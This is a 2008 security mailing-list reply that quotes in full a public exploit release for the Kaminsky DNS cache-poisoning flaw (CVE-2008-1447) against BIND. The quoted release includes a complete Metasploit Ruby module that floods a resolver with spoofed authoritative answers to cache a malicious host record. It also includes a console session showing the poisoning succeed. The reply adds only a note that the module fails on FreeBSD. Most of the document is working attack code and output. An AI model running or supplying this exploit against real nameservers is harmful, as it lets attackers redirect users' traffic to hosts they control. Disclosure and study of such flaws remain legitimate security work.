[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning Flaw Exploit



I)ruid wrote:
>                       ____      ____     __    __
>                      /    \    /    \   |  |  |  |
>         ----====####/  /\__\##/  /\  \##|  |##|  |####====----
>                    |  |      |  |__|  | |  |  |  |
>                    |  |  ___ |   __   | |  |  |  |
>   ------======######\  \/  /#|  |##|  |#|  |##|  |######======------
>                      \____/  |__|  |__|  \______/
>                                                      
>                     Computer Academic Underground
>                         http://www.caughq.org
>                             Exploit Code
>
> ===============/========================================================
> Exploit ID:     CAU-EX-2008-0002
> Release Date:   2008.07.23
> Title:          bailiwicked_host.rb
> Description:    Kaminsky DNS Cache Poisoning Flaw Exploit
> Tested:         BIND 9.4.1-9.4.2
> Attributes:     Remote, Poison, Resolver, Metasploit
> Exploit URL:    http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
> Author/Email:   I)ruid <druid (@) caughq.org>
>                 H D Moore <hdm (@) metasploit.com>
> ===============/========================================================
>
> Description
> ===========
>
> This exploit targets a fairly ubiquitous flaw in DNS implementations
> which allow the insertion of malicious DNS records into the cache of the
> target nameserver.  This exploit caches a single malicious host entry
> into the target nameserver.  By causing the target nameserver to query
> for random hostnames at the target domain, the attacker can spoof a
> response to the target server including an answer for the query, an
> authority server record, and an additional record for that server,
> causing target nameserver to insert the additional record into the
> cache.
>
>
> Example
> =======
>
> # /msf3/msfconsole
>
>                 _                  _       _ _
>                | |                | |     (_) |
>  _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
> | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
> | | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
> |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
>                             | |
>                             |_|
>
>
>        =[ msf v3.2-release
> + -- --=[ 298 exploits - 124 payloads
> + -- --=[ 18 encoders - 6 nops
>        =[ 72 aux
>
> msf > use auxiliary/spoof/dns/bailiwicked_host
> msf auxiliary(bailiwicked_host) > show options
>
> Module options:
>
>    Name      Current Setting    Required  Description
>    ----      ---------------    --------  -----------
>    HOSTNAME  pwned.example.com  yes       Hostname to hijack
>    NEWADDR   1.3.3.7            yes       New address for hostname
>    RECONS    208.67.222.222     yes       Nameserver used for reconnaissance
>    RHOST                        yes       The target address
>    SRCPORT                      yes       The target server's source query 
> port (0 for automatic)
>    XIDS      10                 yes       Number of XIDs to try for each query
>
> msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
> RHOST => A.B.C.D
>
> msf auxiliary(bailiwicked_host) > check
> [*] Using the Metasploit service to verify exploitability...
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*] FAIL: This server uses static source ports and is vulnerable to poisoning
>
> msf auxiliary(bailiwicked_host) > set SRCPORT 0
> SRCPORT => 0
>
> msf auxiliary(bailiwicked_host) > run
> [*] Switching to target port 48178 based on Metasploit service
> [*] Targeting nameserver A.B.C.D
> [*] Querying recon nameserver for example.com.'s nameservers...
> [*]  Got answer with 2 answers, 0 authorities
> [*]  Got an NS record: example.com.            172643  IN      NS      
> ns89.worldnic.com.
> [*] Querying recon nameserver for address of ns89.worldnic.com....
> [*]  Got answer with 1 answers, 0 authorities
> [*]  Got an A record: ns89.worldnic.com.      172794  IN      A       
> 205.178.190.45
> [*] Checking Authoritativeness: Querying 205.178.190.45 for example.com....
> [*]   ns89.worldnic.com. is authoritative for example.com., adding to list of 
> nameservers to spoof as
> [*]  Got an NS record: example.com.            172643  IN      NS      
> ns90.worldnic.com.
> [*] Querying recon nameserver for address of ns90.worldnic.com....
> [*]  Got answer with 1 answers, 0 authorities
> [*]  Got an A record: ns90.worldnic.com.      172794  IN      A       
> 205.178.144.45
> [*] Checking Authoritativeness: Querying 205.178.144.45 for example.com....
> [*]   ns90.worldnic.com. is authoritative for example.com., adding to list of 
> nameservers to spoof as
> [*] Attempting to inject a poison record for pwned.example.com. into 
> A.B.C.D:48178...
> [*] Sent 1000 queries and 20000 spoofed responses...
> [*] Sent 2000 queries and 40000 spoofed responses...
> [*] Sent 3000 queries and 60000 spoofed responses...
> [*] Sent 4000 queries and 80000 spoofed responses...
> [*] Sent 5000 queries and 100000 spoofed responses...
> [*] Sent 6000 queries and 120000 spoofed responses...
> [*] Sent 7000 queries and 140000 spoofed responses...
> [*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
> [*] Auxiliary module execution completed
> msf auxiliary(bailiwicked_host) > 
>
> msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
> [*] exec: nslookup pwned.example.com A.B.C.D
>
> Server:         A.B.C.D
> Address:        A.B.C.D#53
>
> Non-authoritative answer:
> Name:   pwned.example.com
> Address: 1.3.3.7
>
>
> Credits
> =======
>
> Dan Kaminsky is credited with originally discovering this vulnerability.
>
>
> References
> ==========
>
> http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
> http://www.kb.cert.org/vuls/id/800113
>
>
> Metasploit
> ==========
>
> require 'msf/core'
> require 'net/dns'
> require 'scruby'
> require 'resolv'
>
> module Msf
>
> class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
>
>       include Exploit::Remote::Ip
>
>       def initialize(info = {})
>               super(update_info(info, 
>                       'Name'           => 'DNS BailiWicked Host Attack',
>                       'Description'    => %q{
>                               This exploit attacks a fairly ubiquitous flaw 
> in DNS implementations which 
>                               Dan Kaminsky found and disclosed ~Jul 2008.  
> This exploit caches a single
>                               malicious host entry into the target nameserver 
> by sending random sub-domain
>                               queries to the target DNS server coupled with 
> spoofed replies to those
>                               queries from the authoritative nameservers for 
> the domain which contain a
>                               malicious host entry for the hostname to be 
> poisoned in the authority and
>                               additional records sections.  Eventually, a 
> guessed ID will match and the
>                               spoofed packet will get accepted, and due to 
> the additional hostname entry
>                               being within bailiwick constraints of the 
> original request the malicious host
>                               entry will get cached.
>                       },
>                       'Author'         => [ 'I)ruid', 'hdm' ],
>                       'License'        => MSF_LICENSE,
>                       'Version'        => '$Revision: 5585 $',
>                       'References'     =>
>                               [
>                                       [ 'CVE', '2008-1447' ],
>                                       [ 'US-CERT-VU', '8000113' ],
>                                       [ 'URL', 
> 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
>                               ],
>                       'Privileged'     => true,
>                       'Targets'        => 
>                               [
>                                       ["BIND",  
>                                               {
>                                                       'Arch' => ARCH_X86,
>                                                       'Platform' => 'linux',
>                                               },
>                                       ],
>                               ],
>                       'DisclosureDate' => 'Jul 21 2008'
>                       ))
>                       
>                       register_options(
>                               [
>                                       OptPort.new('SRCPORT', [true, "The 
> target server's source query port (0 for automatic)", nil]),
>                                       OptString.new('HOSTNAME', [true, 
> 'Hostname to hijack', 'pwned.example.com']),
>                                       OptAddress.new('NEWADDR', [true, 'New 
> address for hostname', '1.3.3.7']),
>                                       OptAddress.new('RECONS', [true, 
> 'Nameserver used for reconnaissance', '208.67.222.222']),
>                                       OptInt.new('XIDS', [true, 'Number of 
> XIDs to try for each query', 10]),
>                                       OptInt.new('TTL', [true, 'TTL for the 
> malicious host entry', 31337]),
>                               ], self.class)
>                                       
>       end
>       
>       def auxiliary_commands
>               return { "check" => "Determine if the specified DNS server 
> (RHOST) is vulnerable" }
>       end
>
>       def cmd_check(*args)
>               targ = args[0] || rhost()
>               if(not (targ and targ.length > 0))
>                       print_status("usage: check [dns-server]")
>                       return
>               end
>
>               print_status("Using the Metasploit service to verify 
> exploitability...")
>               srv_sock = Rex::Socket.create_udp(
>                       'PeerHost' => targ,
>                       'PeerPort' => 53
>               )               
>
>               random = false
>               ports  = []
>               lport  = nil
>               
>               1.upto(5) do |i|
>               
>                       req = Resolv::DNS::Message.new
>                       txt = 
> "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
>                       req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
>                       req.rd = 1
>                       
>                       srv_sock.put(req.encode)
>                       res, addr = srv_sock.recvfrom()
>                       
>
>                       if res and res.length > 0
>                               res = Resolv::DNS::Message.decode(res)
>                               res.each_answer do |name, ttl, data|
>                                       if (name.to_s == txt and 
> data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
>                                               t_addr, t_port = $1.split(':')
>
>                                               print_status(" >> ADDRESS: 
> #{t_addr}  PORT: #{t_port}")
>                                               t_port = t_port.to_i
>                                               if(lport and lport != t_port)
>                                                       random = true
>                                               end
>                                               lport  = t_port
>                                               ports << t_port
>                                       end
>                               end
>                       end     
>               end
>               
>               srv_sock.close
>               
>               if(ports.length < 5)
>                       print_status("UNKNOWN: This server did not reply to our 
> vulnerability check requests")
>                       return
>               end
>               
>               if(random)
>                       print_status("PASS: This server does not use a static 
> source port. Ports: #{ports.join(", ")}")
>                       print_status("      This server may still be 
> exploitable, but not by this tool.")
>               else
>                       print_status("FAIL: This server uses static source 
> ports and is vulnerable to poisoning")
>               end
>       end
>               
>       def run
>               target   = rhost()
>               source   = Rex::Socket.source_address(target)
>               sport    = datastore['SRCPORT']
>               hostname = datastore['HOSTNAME'] + '.'
>               address  = datastore['NEWADDR']
>               recons   = datastore['RECONS']
>               xids     = datastore['XIDS'].to_i
>               ttl      = datastore['TTL'].to_i
>               xidbase  = rand(4)+2*10000
>
>               domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]
>
>               srv_sock = Rex::Socket.create_udp(
>                       'PeerHost' => target,
>                       'PeerPort' => 53
>               )
>
>               # Get the source port via the metasploit service if it's not set
>               if sport.to_i == 0
>                       req = Resolv::DNS::Message.new
>                       txt = 
> "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
>                       req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
>                       req.rd = 1
>                       
>                       srv_sock.put(req.encode)
>                       res, addr = srv_sock.recvfrom()
>                       
>                       if res and res.length > 0
>                               res = Resolv::DNS::Message.decode(res)
>                               res.each_answer do |name, ttl, data|
>                                       if (name.to_s == txt and 
> data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
>                                               t_addr, t_port = $1.split(':')
>                                               sport = t_port.to_i
>
>                                               print_status("Switching to 
> target port #{sport} based on Metasploit service")
>                                               if target != t_addr
>                                                       print_status("Warning: 
> target address #{target} is not the same as the nameserver's query source 
> address #{t_addr}!")
>                                               end
>                                       end
>                               end
>                       end
>               end
>
>               # Verify its not already cached
>               begin
>                       query = Resolv::DNS::Message.new
>                       query.add_question(hostname, 
> Resolv::DNS::Resource::IN::A)
>                       query.rd = 0
>
>                       begin
>                               cached = false
>                               srv_sock.put(query.encode)
>                               answer, addr = srv_sock.recvfrom()
>
>                               if answer and answer.length > 0
>                                       answer = 
> Resolv::DNS::Message.decode(answer)
>                                       answer.each_answer do |name, ttl, data|
>                                               if((name.to_s + ".") == 
> hostname  and data.address.to_s == address)
>                                                       t = Time.now + ttl
>                                                       print_status("Failure: 
> This hostname is already in the target cache: #{name} == #{address}")
>                                                       print_status("         
> Cache entry expires on #{t.to_s}... sleeping.")
>                                                       cached = true
>                                                       sleep ttl
>                                               end
>                                       end
>                               end
>                       end until not cached
>               rescue ::Interrupt
>                       raise $!
>               rescue ::Exception => e
>                       print_status("Error checking the DNS name: #{e.class} 
> #{e} #{e.backtrace}")
>               end
>
>               res0 = Net::DNS::Resolver.new(:nameservers => [recons], 
> :dns_search => false, :recursive => true) # reconnaissance resolver
>
>               print_status "Targeting nameserver #{target} for injection of 
> #{hostname} as #{address}"
>
>               # Look up the nameservers for the domain
>               print_status "Querying recon nameserver for #{domain}'s 
> nameservers..."
>               answer0 = res0.send(domain, Net::DNS::NS)
>               #print_status " Got answer with #{answer0.header.anCount} 
> answers, #{answer0.header.nsCount} authorities"
>
>               barbs = [] # storage for nameservers
>               answer0.answer.each do |rr0|
>                       print_status " Got an #{rr0.type} record: 
> #{rr0.inspect}"
>                       if rr0.type == 'NS'
>                               print_status "  Querying recon nameserver for 
> address of #{rr0.nsdname}.."
>                               answer1 = res0.send(rr0.nsdname) # get the ns's 
> answer for the hostname
>                               #print_status " Got answer with 
> #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
>                               answer1.answer.each do |rr1|
>                                       print_status "   Got an #{rr1.type} 
> record: #{rr1.inspect}"
>                                       res2 = 
> Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, 
> :recursive => false, :retry => 1) 
>                                       print_status "    Checking 
> Authoritativeness: Querying #{rr1.address} for #{domain}..."
>                                       answer2 = res2.send(domain)
>                                       if answer2 and answer2.header.auth? and 
> answer2.header.anCount >= 1
>                                               nsrec = {:name => rr0.nsdname, 
> :addr => rr1.address}
>                                               barbs << nsrec
>                                               print_status "    
> #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers 
> to spoof as"
>                                       end
>                               end
>                       end     
>               end
>
>               if barbs.length == 0
>                       print_status( "No DNS servers found.")
>                       srv_sock.close
>                       disconnect_ip
>                       return
>               end
>
>               # Flood the target with queries and spoofed responses, one will 
> eventually hit
>               queries = 0
>               responses = 0
>
>               connect_ip if not ip_sock
>
>               print_status( "Attempting to inject a poison record for 
> #{hostname} into #{target}:#{sport}...")
>
>               while true
>                       randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + 
> domain # randomize the hostname
>
>                       # Send spoofed query
>                       req = Resolv::DNS::Message.new
>                       req.id = rand(2**16)
>                       req.add_question(randhost, Resolv::DNS::Resource::IN::A)
>
>                       req.rd = 1
>
>                       buff = (
>                               Scruby::IP.new(
>                                       #:src   => barbs[0][:addr].to_s,
>                                       :src   => source,
>                                       :dst   => target,
>                                       :proto => 17
>                               )/Scruby::UDP.new(
>                                       :sport => 
> (rand((2**16)-1024)+1024).to_i,
>                                       :dport => 53
>                               )/req.encode
>                       ).to_net
>                       ip_sock.sendto(buff, target)
>                       queries += 1
>                       
>                       # Send evil spoofed answer from ALL nameservers 
> (barbs[*][:addr])
>                       req.add_answer(randhost, ttl, 
> Resolv::DNS::Resource::IN::A.new(address))
>                       req.add_authority(domain, ttl, 
> Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
>                       req.add_additional(hostname, ttl, 
> Resolv::DNS::Resource::IN::A.new(address))
>                       req.qr = 1
>                       req.ra = 1
>
>                       xidbase.upto(xidbase+xids-1) do |id|
>                               req.id = id
>                               barbs.each do |barb|
>                                       buff = (
>                                               Scruby::IP.new(
>                                                       #:src   => 
> barbs[i][:addr].to_s,
>                                                       :src   => 
> barb[:addr].to_s,
>                                                       :dst   => target,
>                                                       :proto => 17
>                                               )/Scruby::UDP.new(
>                                                       :sport => 53,
>                                                       :dport => sport.to_i
>                                               )/req.encode
>                                       ).to_net
>                                       ip_sock.sendto(buff, target)
>                                       responses += 1
>                               end
>                       end
>
>                       # status update
>                       if queries % 1000 == 0
>                               print_status("Sent #{queries} queries and 
> #{responses} spoofed responses...")
>                       end
>
>                       # every so often, check and see if the target is 
> poisoned...
>                       if queries % 250 == 0 
>                               begin
>                                       query = Resolv::DNS::Message.new
>                                       query.add_question(hostname, 
> Resolv::DNS::Resource::IN::A)
>                                       query.rd = 0
>       
>                                       srv_sock.put(query.encode)
>                                       answer, addr = srv_sock.recvfrom()
>
>                                       if answer and answer.length > 0
>                                               answer = 
> Resolv::DNS::Message.decode(answer)
>                                               answer.each_answer do |name, 
> ttl, data|
>                                                       if((name.to_s + ".") == 
> hostname and data.address.to_s == address)
>                                                               
> print_status("Poisoning successful after #{queries} attempts: #{name} == 
> #{address}")
>                                                               disconnect_ip
>                                                               return
>                                                       end
>                                               end
>                                       end
>                               rescue ::Interrupt
>                                       raise $!
>                               rescue ::Exception => e
>                                       print_status("Error querying the DNS 
> name: #{e.class} #{e} #{e.backtrace}")
>                               end
>                       end
>
>               end
>
>       end
>
> end
> end
>   


On FreeBSD 7.0-STABLE (updated on Fri May 23) it fails to create raw 
socket even when running as root:
...
[-] This module is configured to use a raw IP socket. On Unix systems, 
only the root user is allowed to create raw sockets.Please run the 
framework as root to use this module.
 
[*] Attempting to inject poison records for example.com.'s nameservers 
into 202.72.241.4:55088...
[-] Auxiliary failed: undefined method `sendto' for nil:NilClass



>
>   
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


-- 
A prisoner of war is a man who tries to kill you and fails, and then 
asks you not to kill him. -- Sir Winston Churchill, 1952

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/